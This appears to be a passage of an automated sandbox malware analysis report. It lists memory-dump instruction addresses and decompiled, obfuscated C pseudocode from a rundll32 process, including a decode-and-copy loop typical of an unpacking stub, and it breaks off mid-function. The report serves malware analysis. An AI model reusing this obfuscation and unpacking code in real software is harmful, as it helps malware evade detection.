                                                                          0x00121cd5
                                                                          0x00121cd8
                                                                          0x00121cda
                                                                          0x00121ce3
                                                                          0x00121cea
                                                                          0x00121ced
                                                                          0x00121cf0
                                                                          0x00121cf6
                                                                          0x00121cfc
                                                                          0x00121d03
                                                                          0x00121d09
                                                                          0x00121d10
                                                                          0x00121d11
                                                                          0x00121d15
                                                                          0x00121d1e
                                                                          0x00121d21
                                                                          0x00121d24
                                                                          0x00121d2a
                                                                          0x00121d2b
                                                                          0x00121d2e
                                                                          0x00121d37
                                                                          0x00121d38
                                                                          0x00121d3b
                                                                          0x00121d3e
                                                                          0x00121d4a
                                                                          0x00121d50
                                                                          0x00121d54
                                                                          0x00121d57
                                                                          0x00121d5a
                                                                          0x00121d5d
                                                                          0x00121d5e
                                                                          0x00121d5f
                                                                          0x00121d65
                                                                          0x00121d68
                                                                          0x00121d6b
                                                                          0x00121d6e
                                                                          0x00121d76
                                                                          0x00121d7d
                                                                          0x00121d80
                                                                          0x00121d89
                                                                          0x00121d8c
                                                                          0x00121d8f
                                                                          0x00121d95
                                                                          0x00121d9c
                                                                          0x00121da2
                                                                          0x00121da2
                                                                          0x00121daa
                                                                          0x00121dae
                                                                          0x00121db2
                                                                          0x00121dbb
                                                                          0x00121dc5
                                                                          0x00121dc8
                                                                          0x00121dce
                                                                          0x00121dd5
                                                                          0x00121ddb
                                                                          0x00121de5
                                                                          0x00121de9
                                                                          0x00121df3
                                                                          0x00121df6
                                                                          0x00121df9
                                                                          0x00121dff
                                                                          0x00121e07
                                                                          0x00121e0e
                                                                          0x00121e14
                                                                          0x00121e20
                                                                          0x00121e23
                                                                          0x00121e2d
                                                                          0x00121e36
                                                                          0x00121e3d
                                                                          0x00121e46
                                                                          0x00121e50
                                                                          0x00121e53
                                                                          0x00121e59
                                                                          0x00121e61
                                                                          0x00121e68
                                                                          0x00121e6e
                                                                          0x00121e71
                                                                          0x00121e7a
                                                                          0x00121e83
                                                                          0x00121e8a
                                                                          0x00121e93
                                                                          0x00121e9a
                                                                          0x00121e9d
                                                                          0x00121ea3
                                                                          0x00121eab
                                                                          0x00121eb2
                                                                          0x00121ec0
                                                                          0x00121ec9
                                                                          0x00121ed0
                                                                          0x00121ed6
                                                                          0x00121edd
                                                                          0x00121ee4
                                                                          0x00121eed
                                                                          0x00121ef7
                                                                          0x00121efa
                                                                          0x00121f00
                                                                          0x00121f07
                                                                          0x00121f0d
                                                                          0x00121f13
                                                                          0x00121f1f
                                                                          0x00121f2b
                                                                          0x00121f2e
                                                                          0x00121f3a
                                                                          0x00121f41
                                                                          0x00121f47
                                                                          0x00121f4f
                                                                          0x00121f52
                                                                          0x00121f5b
                                                                          0x00121f62
                                                                          0x00121f65
                                                                          0x00121f6e
                                                                          0x00121f78
                                                                          0x00121f7b
                                                                          0x00121f7e
                                                                          0x00121f84
                                                                          0x00121f87
                                                                          0x00121f8e
                                                                          0x00121f91
                                                                          0x00121f94
                                                                          0x00121f97
                                                                          0x00121f98
                                                                          0x00121f99
                                                                          0x00121fa8
                                                                          0x00121faa
                                                                          0x00121faf
                                                                          0x00121fba
                                                                          0x00121fc3
                                                                          0x00121fcd
                                                                          0x00121fd0
                                                                          0x00121fd6
                                                                          0x00121fdd
                                                                          0x00121fe3
                                                                          0x00121fe3
                                                                          0x00121fe8
                                                                          0x00121ff1
                                                                          0x00121ffb
                                                                          0x00121ffe
                                                                          0x00122008
                                                                          0x0012200c
                                                                          0x0012200f
                                                                          0x0012201b
                                                                          0x00122022
                                                                          0x00122028
                                                                          0x00122029
                                                                          0x00122032
                                                                          0x0012203b
                                                                          0x00122045
                                                                          0x00122048
                                                                          0x0012204e
                                                                          0x00122058
                                                                          0x00122062
                                                                          0x00122066
                                                                          0x00122069
                                                                          0x00122075
                                                                          0x00122078
                                                                          0x0012207f
                                                                          0x00122082
                                                                          0x00122085
                                                                          0x00122088
                                                                          0x00122089
                                                                          0x0012208a
                                                                          0x00122099
                                                                          0x0012209b
                                                                          0x001220a0
                                                                          0x001220a2
                                                                          0x001220a9
                                                                          0x001220ad
                                                                          0x001220b0
                                                                          0x001220b9
                                                                          0x001220bc
                                                                          0x001220c2
                                                                          0x001220c9
                                                                          0x001220cf
                                                                          0x001220cf
                                                                          0x001220d4
                                                                          0x001220da
                                                                          0x001220e1
                                                                          0x001220e4
                                                                          0x001220ea
                                                                          0x001220f1
                                                                          0x001220f4
                                                                          0x00122103
                                                                          0x0012210a
                                                                          0x0012210d
                                                                          0x00122110
                                                                          0x00122113
                                                                          0x00122114
                                                                          0x00122117
                                                                          0x00122122
                                                                          0x00122124
                                                                          0x00122127
                                                                          0x00122129
                                                                          0x0012212f
                                                                          0x00122139
                                                                          0x0012213c
                                                                          0x00122143
                                                                          0x00122146
                                                                          0x00122149
                                                                          0x00122149
                                                                          0x0012214f
                                                                          0x00122156
                                                                          0x0012215c
                                                                          0x00122169
                                                                          0x0012216b
                                                                          0x0012216c
                                                                          0x00122176
                                                                          0x00122179
                                                                          0x0012217f
                                                                          0x00122189
                                                                          0x0012218c
                                                                          0x00122192
                                                                          0x00122199
                                                                          0x001221a2
                                                                          0x001221b1
                                                                          0x001221b3
                                                                          0x001221b4
                                                                          0x001221bb
                                                                          0x001221be
                                                                          0x001221c1
                                                                          0x001221cd
                                                                          0x001221d4
                                                                          0x001221da
                                                                          0x001221e2
                                                                          0x001221e3
                                                                          0x001221e9
                                                                          0x001221f0
                                                                          0x001221f3
                                                                          0x001221fa
                                                                          0x001221fd
                                                                          0x00122200
                                                                          0x00122206
                                                                          0x0012220e
                                                                          0x00122215
                                                                          0x0012221b
                                                                          0x0012221e
                                                                          0x00122225
                                                                          0x0012222b
                                                                          0x00122234
                                                                          0x00122237
                                                                          0x00122240
                                                                          0x00122243
                                                                          0x00122249
                                                                          0x00122250
                                                                          0x00122253
                                                                          0x0012225b
                                                                          0x0012225e
                                                                          0x00122263
                                                                          0x00122267
                                                                          0x0012226a
                                                                          0x0012226c
                                                                          0x0012227a
                                                                          0x0012227c
                                                                          0x0012227f
                                                                          0x00122281
                                                                          0x00122287
                                                                          0x00122291
                                                                          0x00122294
                                                                          0x0012229b
                                                                          0x0012229f
                                                                          0x001222a2
                                                                          0x001222a2
                                                                          0x001222ae
                                                                          0x001222b5
                                                                          0x001222bb
                                                                          0x001222be
                                                                          0x001222c4
                                                                          0x001222ce
                                                                          0x001222d1
                                                                          0x001222d7
                                                                          0x001222df
                                                                          0x001222e6
                                                                          0x001222ec
                                                                          0x001222ef
                                                                          0x001222f6
                                                                          0x001222fa
                                                                          0x001222fd
                                                                          0x00122303
                                                                          0x0012230a
                                                                          0x0012230d
                                                                          0x00122313
                                                                          0x0012231b
                                                                          0x00122322
                                                                          0x00122328
                                                                          0x0012232b
                                                                          0x0012232e
                                                                          0x00122331
                                                                          0x00122331
                                                                          0x00122335
                                                                          0x00122339
                                                                          0x0012233c
                                                                          0x00122342
                                                                          0x0012234c
                                                                          0x0012234f
                                                                          0x00122355
                                                                          0x0012235c
                                                                          0x0012235f
                                                                          0x00122368
                                                                          0x0012236b
                                                                          0x00122371
                                                                          0x00122374
                                                                          0x00122377
                                                                          0x0012237e
                                                                          0x0012237f
                                                                          0x00122382
                                                                          0x00122392
                                                                          0x00122395
                                                                          0x00122397
                                                                          0x0012239d
                                                                          0x001223a4
                                                                          0x001223a7
                                                                          0x001223ad
                                                                          0x001223b7
                                                                          0x001223ba
                                                                          0x001223c0
                                                                          0x001223c8
                                                                          0x001223cf
                                                                          0x001223d5
                                                                          0x001223d5
                                                                          0x001223da
                                                                          0x001223dd
                                                                          0x001223e0
                                                                          0x001223f0
                                                                          0x001223fc
                                                                          0x001223fe
                                                                          0x00122402
                                                                          0x00122405
                                                                          0x00122408
                                                                          0x00122410
                                                                          0x00122414
                                                                          0x00122415
                                                                          0x0012241d
                                                                          0x0012241f
                                                                          0x00122429
                                                                          0x00122429
                                                                          0x0012242d
                                                                          0x00122431
                                                                          0x00122438
                                                                          0x00122438
                                                                          0x0012243b
                                                                          0x00122442
                                                                          0x00122445
                                                                          0x00122448
                                                                          0x0012245d
                                                                          0x00122464

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
                                                                          • Instruction ID: ae9e5ce718888c75ffef7f72e2fc8122142b8a60103546d11c14c04b950f18fc
                                                                          • Opcode Fuzzy Hash: 39d30f7688323fef24dea233773f5addaff03df6641283267fa772f8f98102af
                                                                          • Instruction Fuzzy Hash: BA422672C04218EFEF049FA0C8897EEBBF5FF48321F0544AAD899AA145D7345264CF59
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 001243D8, Relevance: .4, Instructions: 371COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 90%
                                                                          			E001243D8(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				void* _t202;
				void* _t204;
				signed int _t205;
				signed int _t210;
				void* _t212;
				void* _t213;
				signed int _t217;
				signed int _t220;
				signed int _t223;
				signed int _t228;
				void* _t230;
				void* _t232;
				intOrPtr _t233;
				void _t236;
				signed int _t240;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t261;
				signed int _t264;
				signed int _t266;
				signed int _t274;
				signed int _t276;
				signed int _t278;
				signed int _t280;
				signed int _t283;
				void* _t286;
				signed int _t293;
				signed int _t294;
				signed int _t305;
				signed int _t306;
				signed int _t311;
				signed int _t314;
				signed int _t316;
				signed int _t318;
				signed int _t320;
				signed int _t323;
				signed int _t326;
				signed int _t330;
				signed int _t334;
				signed int _t337;
				signed int _t340;
				signed int _t343;
				void* _t348;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				void* _t364;
				signed int _t366;
				signed int _t369;
				signed int* _t370;
				signed int* _t371;
				signed int* _t372;
				signed int* _t373;
				signed int* _t374;
				signed int* _t375;
				signed int* _t376;
				signed int* _t377;

				_t355 = __esi;
				_t337 = __edi;
				 *_t370 =  *_t370 - _t366;
				 *_t370 = __ebx + 0x41c5e4;
				_t202 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t366 - 0x1c) = 0;
				_push( *(_t366 - 0x1c));
				 *_t370 =  *_t370 + _t202;
				_push(__edi);
				 *_t370 =  *_t370 ^ __edi;
				 *_t370 =  *_t370 | __ebx + 0x0041c129;
				_t204 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t274 = (__ecx & 0x00000000) +  *_t370;
				_t371 = _t370 - 0xfffffffc;
				 *(_t366 - 0x1c) = __ebx;
				_push(_t274 + _t204);
				_t261 =  *(_t366 - 0x1c);
				_pop(_t205);
				_push(__edx);
				_t276 = _t274 & 0x00000000 | __edx ^  *_t371 |  *(_t261 + 0x41c62b);
				_pop(_t305);
				if(_t276 > _t205) {
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t261 + 0x0041c5e4;
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 + _t261 + 0x41c129;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f064))(_t366, __esi);
				}
				 *_t371 = _t355;
				 *(_t261 + 0x41d040) = 0 ^ _t205;
				_t358 = 0;
				if( *((intOrPtr*)(_t366 - 0x10)) == 4) {
					_t15 = _t261 + 0x41d1be; // 0x41d1be
					 *_t371 = _t15;
					_t17 = _t261 + 0x41c0a8; // 0x41c0a8
					 *_t371 =  *_t371 & 0x00000000;
					 *_t371 =  *_t371 ^ _t17;
					_push( *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24)));
					_pop( *_t19);
					_push( *(_t366 - 0x20));
					_pop( *_t21);
					 *((intOrPtr*)(_t366 - 8)) = 1;
					_t23 = _t261 + 0x41c6f8; // 0x41c6f8
					 *(_t366 - 0x20) =  *(_t366 - 0x20) & 0x00000000;
					 *_t371 =  *_t371 ^ _t23;
					_t251 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x20));
					 *(_t366 - 0x20) = _t305;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) & 0x00000000;
					 *(_t261 + 0x41c674) =  *(_t261 + 0x41c674) | _t305 ^  *(_t366 - 0x20) | _t251;
					_t334 =  *(_t366 - 0x20);
					 *((intOrPtr*)(_t366 - 0xc)) = 0x55;
					_t36 = _t261 + 0x41c356; // 0x41c356
					 *(_t366 - 0x1c) =  *(_t366 - 0x1c) & 0x00000000;
					 *_t371 =  *_t371 | _t36;
					_t253 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x1c));
					 *(_t366 - 0x24) = _t337;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) & 0x00000000;
					 *(_t261 + 0x41cd7d) =  *(_t261 + 0x41cd7d) | _t337 & 0x00000000 ^ _t253;
					_t337 =  *(_t366 - 0x24);
					 *((intOrPtr*)(_t366 - 0x18)) = 2;
					_t48 = _t261 + 0x41cc3e; // 0x41cc3e
					 *(_t366 - 0x24) =  *(_t366 - 0x24) & 0x00000000;
					 *_t371 =  *_t371 ^ _t48;
					_t52 = _t261 + 0x41cf5b; // 0x41cf5b
					 *_t371 =  *_t371 ^ _t358;
					 *_t371 = _t52;
					_t205 =  *((intOrPtr*)(_t261 + 0x41f068))(_t358,  *(_t366 - 0x24));
					 *(_t366 - 0x20) = _t334;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) & 0x00000000;
					 *(_t261 + 0x41c1cd) =  *(_t261 + 0x41c1cd) | _t334 & 0x00000000 | _t205;
					_t305 =  *(_t366 - 0x20);
				}
				_t306 = _t305 ^ _t305;
				 *_t371 =  *_t371 - _t337;
				 *_t371 = _t306;
				_t60 = _t261 + 0x41c61d; // 0x41c61d
				 *_t371 =  *_t371 ^ _t358;
				 *_t371 = _t60;
				_t210 =  *((intOrPtr*)(_t261 + 0x41f060))(_t358, _t337, _t205);
				 *_t371 = _t210;
				_t63 = _t261 + 0x41cf67; // 0x41cf67
				 *(_t366 - 0x24) = 0;
				 *_t371 =  *_t371 ^ _t63;
				_t212 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t366 - 0x24),  *(_t366 - 0x1c));
				_pop( *_t67);
				_t278 = _t276 & 0x00000000 ^  *(_t366 - 0x24);
				 *(_t366 - 0x24) = _t337;
				_push(_t278 + _t212);
				_t340 =  *(_t366 - 0x24);
				_pop(_t213);
				_t280 = _t278 & 0x00000000 | _t366 & 0x00000000 ^  *(_t261 + 0x41c5dc);
				_t369 = _t366;
				if(_t280 > _t213) {
					_t72 = _t261 + 0x41c61d; // 0x41c61d
					 *(_t369 - 0x1c) = 0;
					 *_t371 =  *_t371 ^ _t72;
					_t75 = _t261 + 0x41cf67; // 0x41cf67
					 *(_t369 - 0x20) = 0;
					 *_t371 =  *_t371 | _t75;
					_t246 =  *((intOrPtr*)(_t261 + 0x41f064))( *(_t369 - 0x20),  *(_t369 - 0x1c));
					 *(_t369 - 0x1c) = _t280;
					 *((intOrPtr*)(_t261 + 0x41cf4f)) = _t246;
					_t280 =  *(_t369 - 0x1c);
				}
				_t372 =  &(_t371[1]);
				 *_t372 = _t280;
				_t283 = 0;
				 *_t372 = _t306 & 0x00000000 |  *_t371;
				_t84 = _t261 + 0x41cef6; // 0x41cef6
				 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
				 *_t372 =  *_t372 | _t84;
				_t88 = _t261 + 0x41ceb9; // 0x41ceb9
				 *_t372 =  *_t372 ^ _t369;
				 *_t372 =  *_t372 ^ _t88;
				_t217 =  *((intOrPtr*)(_t261 + 0x41f068))(_t369,  *(_t369 - 0x1c),  *(_t369 - 0x24));
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) & 0x00000000;
				 *(_t261 + 0x41caf5) =  *(_t261 + 0x41caf5) | _t283 ^  *_t372 | _t217;
				_t286 = _t283;
				_t373 = _t372 - 0xfffffffc;
				_t311 = _t217 %  *(_t369 - 0x18);
				 *_t373 =  *_t373 & 0x00000000;
				 *_t373 =  *_t373 | _t311;
				_t100 = _t261 + 0x41c52d; // 0x41c52d
				 *(_t369 - 0x24) = 0;
				 *_t373 =  *_t373 ^ _t100;
				_t220 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24), _t286);
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) & 0x00000000;
				 *(_t261 + 0x41d106) =  *(_t261 + 0x41d106) | _t311 & 0x00000000 | _t220;
				_t314 = _t311;
				_t316 = _t314 & 0x00000000 ^  *_t373;
				_t374 = _t373 - 0xfffffffc;
				 *((intOrPtr*)(_t369 - 4)) =  *((intOrPtr*)(_t369 - 4)) - _t316;
				 *(_t369 - 0x24) = 0;
				 *_t374 =  *_t374 | _t316;
				_t112 = _t261 + 0x41c7ee; // 0x41c7ee
				 *_t374 =  *_t374 ^ _t340;
				 *_t374 =  *_t374 ^ _t112;
				_t113 = _t261 + 0x41c513; // 0x41c513
				 *(_t369 - 0x20) = 0;
				 *_t374 =  *_t374 | _t113;
				_t223 =  *((intOrPtr*)(_t261 + 0x41f068))( *(_t369 - 0x20), _t340,  *(_t369 - 0x24), _t286);
				 *(_t369 - 0x20) = _t358;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) & 0x00000000;
				 *(_t261 + 0x41c2a8) =  *(_t261 + 0x41c2a8) ^ _t358 & 0x00000000 ^ _t223;
				_t318 =  *_t374;
				_t375 =  &(_t374[1]);
				 *(_t369 - 0x1c) = _t223;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) & 0x00000000;
				 *(_t369 - 0x14) =  *(_t369 - 0x14) | _t223 ^  *(_t369 - 0x1c) ^ _t318;
				_t130 = _t261 + 0x41ccc7; // 0x41ccc7
				 *(_t369 - 0x24) = 0;
				 *_t375 =  *_t375 | _t130;
				_t228 =  *((intOrPtr*)(_t261 + 0x41f060))( *(_t369 - 0x24));
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) & 0x00000000;
				 *(_t261 + 0x41cca4) =  *(_t261 + 0x41cca4) | _t340 -  *_t375 | _t228;
				_t343 = _t340;
				_t363 =  *(_t369 - 0x20) & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t369 + 8);
				_t264 = _t261;
				_t139 = _t264 + 0x41c550; // 0x41c550
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t139;
				_t230 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20));
				 *(_t369 - 0x20) = 0;
				 *_t375 =  *_t375 + _t230;
				_t145 = _t264 + 0x41d34c; // 0x41d34c
				 *_t375 = _t145;
				_t232 =  *((intOrPtr*)(_t264 + 0x41f060))( *(_t369 - 0x20),  *(_t369 - 0x20));
				_t376 = _t375 - 0xfffffffc;
				 *_t148 = _t232;
				 *(_t369 - 0x24) =  *(_t369 - 0x24) + (0 ^  *_t375);
				_push( *(_t369 - 0x24));
				_pop(_t233);
				_t320 = _t318;
				 *(_t369 - 0x1c) = _t320;
				_t323 =  *(_t369 - 0x1c);
				if( *((intOrPtr*)(_t264 + 0x41ccf8)) > _t233) {
					_t155 = _t264 + 0x41c550; // 0x41c550
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t155;
					_t159 = _t264 + 0x41d34c; // 0x41d34c
					 *(_t369 - 0x1c) =  *(_t369 - 0x1c) & 0x00000000;
					 *_t376 =  *_t376 + _t159;
					_t233 =  *((intOrPtr*)(_t264 + 0x41f064))( *(_t369 - 0x1c),  *(_t369 - 0x1c));
				}
				 *(_t369 - 0x24) = _t323;
				 *((intOrPtr*)(_t264 + 0x41ce46)) = _t233;
				_t326 =  *(_t369 - 0x24);
				 *(_t369 - 0x1c) = _t326;
				_t169 = _t264 + 0x41cb9d; // 0x41cb9d
				 *_t376 =  *_t376 - _t363;
				 *_t376 =  *_t376 | _t169;
				_t170 = _t264 + 0x41cd17; // 0x41cd17
				 *(_t369 - 0x20) =  *(_t369 - 0x20) & 0x00000000;
				 *_t376 =  *_t376 | _t170;
				_t236 =  *((intOrPtr*)(_t264 + 0x41f068))( *(_t369 - 0x20), _t363);
				 *_t376 = _t343 & 0x00000000 | _t326 & 0x00000000 ^ _t363;
				 *(_t264 + 0x41d015) = 0 ^ _t236;
				_t348 = 0;
				_t364 = _t363 - 1;
				 *(_t369 - 0x1c) = 0;
				_push( *(_t369 - 0x1c));
				 *_t376 =  *_t376 | _t264;
				do {
					 *_t178 = _t348;
					_t293 =  *(_t369 - 0x20);
					_t294 = _t293 &  *(_t369 - 8);
					if(_t294 == 0) {
						_t364 = _t364 + 1;
						_t236 = _t236 & 0x00000000 ^ (_t348 -  *_t376 |  *(_t369 - 0x18));
						_t348 = _t348;
						_t264 =  *(_t236 + _t364) & 0x000000ff;
					}
					 *_t184 =  *((intOrPtr*)(_t369 - 0xc));
					_t330 =  *(_t369 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t236 = _t236 | _t330 & _t264;
					 *_t348 = _t236;
					_t348 = _t348 + 1;
					_t186 = _t369 - 4;
					 *_t186 =  *((intOrPtr*)(_t369 - 4)) - 1;
				} while ( *_t186 != 0);
				_t266 =  *_t376;
				_t377 =  &(_t376[1]);
				_t188 = _t266 + 0x41cc0b; // 0x41cc0b
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 ^ _t188;
				_t189 = _t266 + 0x41cbd0; // 0x41cbd0
				 *_t377 =  *_t377 & 0x00000000;
				 *_t377 =  *_t377 | _t189;
				_t240 =  *((intOrPtr*)(_t266 + 0x41f068))(_t369, _t294);
				 *(_t369 - 0x20) = _t294;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) & 0x00000000;
				 *(_t266 + 0x41d326) =  *(_t266 + 0x41d326) ^ (_t294 ^  *(_t369 - 0x20) | _t240);
				 *(_t369 - 0x1c) = _t266;
				return memcpy(_t348, _t364 + 1,  *(_t369 - 0x14));
			}





























































                                                                          0x001243d8
                                                                          0x001243d8
                                                                          0x001243df
                                                                          0x001243e2
                                                                          0x001243e5
                                                                          0x001243eb
                                                                          0x001243f2
                                                                          0x001243f5
                                                                          0x001243fe
                                                                          0x001243ff
                                                                          0x00124402
                                                                          0x00124405
                                                                          0x00124411
                                                                          0x00124414
                                                                          0x00124417
                                                                          0x0012441e
                                                                          0x0012441f
                                                                          0x00124422
                                                                          0x00124423
                                                                          0x00124430
                                                                          0x00124432
                                                                          0x00124435
                                                                          0x0012443e
                                                                          0x00124442
                                                                          0x0012444c
                                                                          0x00124450
                                                                          0x00124453
                                                                          0x00124453
                                                                          0x0012445b
                                                                          0x00124462
                                                                          0x00124468
                                                                          0x0012446d
                                                                          0x00124473
                                                                          0x0012447c
                                                                          0x0012447f
                                                                          0x00124486
                                                                          0x0012448a
                                                                          0x00124493
                                                                          0x00124494
                                                                          0x00124497
                                                                          0x0012449a
                                                                          0x001244a0
                                                                          0x001244a7
                                                                          0x001244ad
                                                                          0x001244b4
                                                                          0x001244b7
                                                                          0x001244bd
                                                                          0x001244c5
                                                                          0x001244cc
                                                                          0x001244d2
                                                                          0x001244d5
                                                                          0x001244dc
                                                                          0x001244e2
                                                                          0x001244e9
                                                                          0x001244ec
                                                                          0x001244f2
                                                                          0x001244fa
                                                                          0x00124501
                                                                          0x00124507
                                                                          0x0012450a
                                                                          0x00124511
                                                                          0x00124517
                                                                          0x0012451e
                                                                          0x00124521
                                                                          0x00124528
                                                                          0x0012452b
                                                                          0x0012452e
                                                                          0x00124534
                                                                          0x0012453c
                                                                          0x00124543
                                                                          0x00124549
                                                                          0x00124549
                                                                          0x00124551
                                                                          0x00124555
                                                                          0x00124558
                                                                          0x0012455b
                                                                          0x00124562
                                                                          0x00124565
                                                                          0x00124568
                                                                          0x00124571
                                                                          0x00124574
                                                                          0x0012457a
                                                                          0x00124584
                                                                          0x00124587
                                                                          0x00124593
                                                                          0x00124596
                                                                          0x00124599
                                                                          0x001245a0
                                                                          0x001245a1
                                                                          0x001245a4
                                                                          0x001245b2
                                                                          0x001245b4
                                                                          0x001245b7
                                                                          0x001245b9
                                                                          0x001245bf
                                                                          0x001245c9
                                                                          0x001245cc
                                                                          0x001245d2
                                                                          0x001245dc
                                                                          0x001245df
                                                                          0x001245e5
                                                                          0x001245ec
                                                                          0x001245f2
                                                                          0x001245f2
                                                                          0x001245fe
                                                                          0x00124603
                                                                          0x0012460d
                                                                          0x00124611
                                                                          0x00124614
                                                                          0x0012461a
                                                                          0x00124621
                                                                          0x00124624
                                                                          0x0012462b
                                                                          0x0012462e
                                                                          0x00124631
                                                                          0x0012463d
                                                                          0x00124644
                                                                          0x0012464a
                                                                          0x00124654
                                                                          0x00124657
                                                                          0x0012465b
                                                                          0x0012465f
                                                                          0x00124662
                                                                          0x00124668
                                                                          0x00124672
                                                                          0x00124675
                                                                          0x00124681
                                                                          0x00124688
                                                                          0x0012468e
                                                                          0x00124695
                                                                          0x00124698
                                                                          0x001246a1
                                                                          0x001246a5
                                                                          0x001246af
                                                                          0x001246b2
                                                                          0x001246b9
                                                                          0x001246bc
                                                                          0x001246bf
                                                                          0x001246c5
                                                                          0x001246cf
                                                                          0x001246d2
                                                                          0x001246d8
                                                                          0x001246e0
                                                                          0x001246e7
                                                                          0x001246f2
                                                                          0x001246f5
                                                                          0x001246f8
                                                                          0x00124700
                                                                          0x00124704
                                                                          0x0012470a
                                                                          0x00124710
                                                                          0x0012471a
                                                                          0x0012471d
                                                                          0x00124729
                                                                          0x00124730
                                                                          0x00124736
                                                                          0x00124741
                                                                          0x00124743
                                                                          0x00124744
                                                                          0x0012474a
                                                                          0x00124754
                                                                          0x00124757
                                                                          0x0012475d
                                                                          0x00124767
                                                                          0x0012476a
                                                                          0x00124773
                                                                          0x00124776
                                                                          0x00124781
                                                                          0x00124788
                                                                          0x0012478b
                                                                          0x0012478e
                                                                          0x00124791
                                                                          0x00124792
                                                                          0x00124793
                                                                          0x001247a0
                                                                          0x001247a5
                                                                          0x001247a7
                                                                          0x001247ad
                                                                          0x001247b4
                                                                          0x001247b7
                                                                          0x001247bd
                                                                          0x001247c4
                                                                          0x001247c7
                                                                          0x001247c7
                                                                          0x001247cd
                                                                          0x001247d4
                                                                          0x001247da
                                                                          0x001247dd
                                                                          0x001247ed
                                                                          0x001247f4
                                                                          0x001247f7
                                                                          0x001247fa
                                                                          0x00124800
                                                                          0x00124807
                                                                          0x0012480a
                                                                          0x00124812
                                                                          0x00124819
                                                                          0x0012481f
                                                                          0x00124820
                                                                          0x00124821
                                                                          0x00124828
                                                                          0x0012482b
                                                                          0x0012482e
                                                                          0x0012482f
                                                                          0x00124835
                                                                          0x00124836
                                                                          0x00124839
                                                                          0x0012483b
                                                                          0x00124846
                                                                          0x00124848
                                                                          0x00124849
                                                                          0x00124849
                                                                          0x00124850
                                                                          0x00124856
                                                                          0x00124857
                                                                          0x0012485b
                                                                          0x0012485c
                                                                          0x0012485e
                                                                          0x00124860
                                                                          0x00124861
                                                                          0x00124861
                                                                          0x00124861
                                                                          0x00124868
                                                                          0x0012486b
                                                                          0x0012486e
                                                                          0x00124875
                                                                          0x00124879
                                                                          0x0012487c
                                                                          0x00124883
                                                                          0x00124887
                                                                          0x0012488a
                                                                          0x00124890
                                                                          0x00124898
                                                                          0x0012489f
                                                                          0x001248a8
                                                                          0x001248c1

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
                                                                          • Instruction ID: 52c37dbc040e1751bf3b124f755b5c0f652cb2504b30fcb823f2cb7cd3bf84db
                                                                          • Opcode Fuzzy Hash: 950c55eab0a1380bd81bf2ad2fa2bd8a9b0f1be257dd98b9728846acfec3c26f
                                                                          • Instruction Fuzzy Hash: 690223729442088FEF04DFA4C88A7EEBBF1FF48310F19856ED889AA145D7385525CF69
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00125A25, Relevance: .3, Instructions: 281COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 91%
                                                                          			E00125A25(signed int __ebx, void* __ecx, signed int __edx, intOrPtr* __edi, signed int __esi) {
				signed int _t406;
				signed int _t409;
				intOrPtr _t411;
				signed int _t413;
				void* _t415;
				signed int _t416;
				signed int _t419;
				signed int _t424;
				signed int _t430;
				void* _t431;
				signed int _t435;
				void* _t437;
				intOrPtr _t438;
				intOrPtr _t441;
				signed int _t443;
				void* _t444;
				signed int _t446;
				signed int _t451;
				signed int _t453;
				signed int _t456;
				signed int _t459;
				signed int _t463;
				void* _t465;
				void* _t466;
				signed int _t469;
				signed int _t474;
				signed int _t479;
				void* _t480;
				signed int _t482;
				void* _t484;
				signed int _t485;
				intOrPtr _t490;
				signed int _t491;
				signed int _t493;
				void* _t495;
				signed int _t496;
				signed int _t500;
				void* _t502;
				signed int _t503;
				signed int _t506;
				signed int _t509;
				intOrPtr _t512;
				signed int _t520;
				signed int _t522;
				void* _t523;
				signed int _t532;
